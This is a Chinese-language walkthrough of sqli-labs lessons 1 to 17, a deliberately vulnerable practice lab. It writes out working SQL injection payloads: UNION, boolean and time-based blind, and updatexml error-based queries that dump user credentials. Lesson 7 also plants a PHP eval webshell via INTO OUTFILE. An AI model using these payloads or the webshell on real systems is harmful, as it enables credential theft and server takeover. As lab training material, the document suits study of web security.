sqli-labs靶场1-20

# **1.    less-1**
寻找注入点----更改id值,页面回显值发生变化
 

 
判段注入类型---使用单引号闭合回显正确信息,因此是字符型注入
         
判断数据库有几列---三列正常回显,四列报错,说明数据库有三列
 
 
使用联合查询判断哪几列可以回显---使查询失败然后返回联合查询的内容
 
爆数据库名 
 
爆表名---  
?id=99' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
 
爆字段名---  
?id=99' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
 
获取目标信息---
?id=99' UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
 
# 2.    less-2
判断注入点
 
 
判断注入类型--- 使用单引号闭合根据回显的报错信息判断为数字型
 
判断数据库有几列---不使用引号闭合

 
判断哪几列可以回显
 
爆数据库名---
?id=99 UNION SELECT 1,database(),3 --+
 
爆表名---
?id=99 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
 
爆字段名---
?id=99 union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
 
获取目标信息---
?id=99 UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
 
# 3.    less-3
同上判断注入点和注入类型,根据回显的报错结果使用单引号和小括号闭合
 
同上使用小括号闭合,获取数据库信息
# 4.    less-4
同上判断注入点和注入类型,根据回显的报错结果使用双引号和小括号闭合
 
 
# 5.    less-5
正常输入,根据回显信息只能判断值是否存在,输入不存在的值则回显不显示
 
 
输入单引号闭合---判断出是字符型
 
判断数据库列数---3列
 
 
因为回显只能判断是否正常获取值---使用二分法获取数据库长度
     
爆数据库名---一个个尝试,输入不同的字符,测试出数据库名的第一个字符为  s
 
 
接下来判断数据库名的第二个字符
 
最后爆破出数据库名为----security
 
然后爆表名---通过修改限制条件来判断存在user表
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1)='users',sleep(5),5)--+
 
爆字段名----检测user表中是否存在一个password列
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+
 
检查user表中是否存在一个username列
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username',sleep(5),1)--+
 
获取目标信息---
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(5),1)--+
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(5),1)--+
# 6.    less-6
同less-5判断注入类型---字符型,使用双引号闭合
 
然后同上获取数据库信息
# 7.    less-7
判断注入类型---字符型,使用单引号和双小括号闭合
 
   
使用同一网站网站的多个注入点获取文件路径
 
写入木马文件---
?id=1')) UNION SELECT 1,2,'<?php @eval($_POST["attack"]);?>' into outfile "E:\\app\\php\\WWW\\sqli-labs-master\\Less-7\\text.php"--+
 
 
使用蚁剑连接木马文件
   
8.    less-8
判断注入点注入类型---使用单引号闭合但是不报错,说明是布尔盲注
 
 
用less-5方式获取数据库信息
9.    less-9
判断注入类型
    
  
根据以上结果发现网页回显不会得到任何信息---接下来使用burp suite抓包
 
响应时间明显增加,接下来使用less-5的方式根据响应时间来获取数据库信息
# **10.    less-10**
判断注入类型---使用单引号闭合没有时间延迟
 
使用双引号闭合感觉到时间延迟
 
使用less-5的方式获取数据库信息
11.    less-11
先判断输入框的作用---正常登陆了
 
密码行使用单引号闭合---报错说明存在注入点
 
使用burp suite抓包更改输入语句---判断有几列
 
 
爆数据库名---使用户名查询失败
uname=a&passwd=a' UNION SELECT database(),1#&submit=Submit
 
爆表名
uname=a&passwd=a' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=0x7365637572697479#&submit=Submit
 
爆字段名
uname=a&passwd=a' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' AND table_name='users'#&submit=Submit
 
获取目标信息---
uname=a&passwd=a' UNION SELECT 1,group_concat(concat_ws(':',username,password)) FROM security.users#&submit=Submit
 
12.    less-12
判断注入类型---双引号加小括号闭合
 
 
 
同less-11获取数据库的信息
13.    less-13
判断数据库注入类型---字符型,使用单引号和小括号闭合,成功登录无回显使用布尔盲注
 
 
判断数据库列数---
uname=a') OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit
 
 
判断数据库名长度---
uname=a') OR LENGTH((SELECT database())) > 5#&passwd=a&submit=Submit
   
爆数据库名---判断数据库名左边第一个字符是不是  a
uname=a') OR LEFT((SELECT database()),1) = 'a'#&passwd=a&submit=Submit
 
使用burp suite 爆破---最后得到数据库名为security
 
14.    less-14
判断注入类型---字符型,使用双引号闭合
   
同less-13 获取数据库信息
15.    less-15
判断注入类型---字符型,使用单引号闭合---报错无显示,使用布尔盲注
 
 
同less-13使用登录成功来判断然后获取数据库信息
16.    less-16
判断注入类型---字符型,使用双引号小括号闭合,无回显使用布尔盲注
 
 
 
方法同less-13获取数据库信息
17.    less-17
先运行一遍页面---发现这是修改密码
 
在less-11登录验证发现密码已被修改
 
寻找注入点---发现需要先判断用户是否存在,然后再执行修改密码
 
 
 
使用报错注入
uname=admin&passwd=' OR updatexml(1,concat("!",version()),2)#&submit=Submit
 
爆数据库名
uname=admin&passwd=' OR updatexml(1,concat("!",database()),2)#&submit=Submit
 
爆表名
uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)#&submit=Submit
 
爆字段名
uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)#&submit=Submit
 
获取目标信息
uname=admin&passwd=' OR updatexml(1,concat('!',(SELECT group_concat(':',username,password) FROM users)),1)# &submit=Submit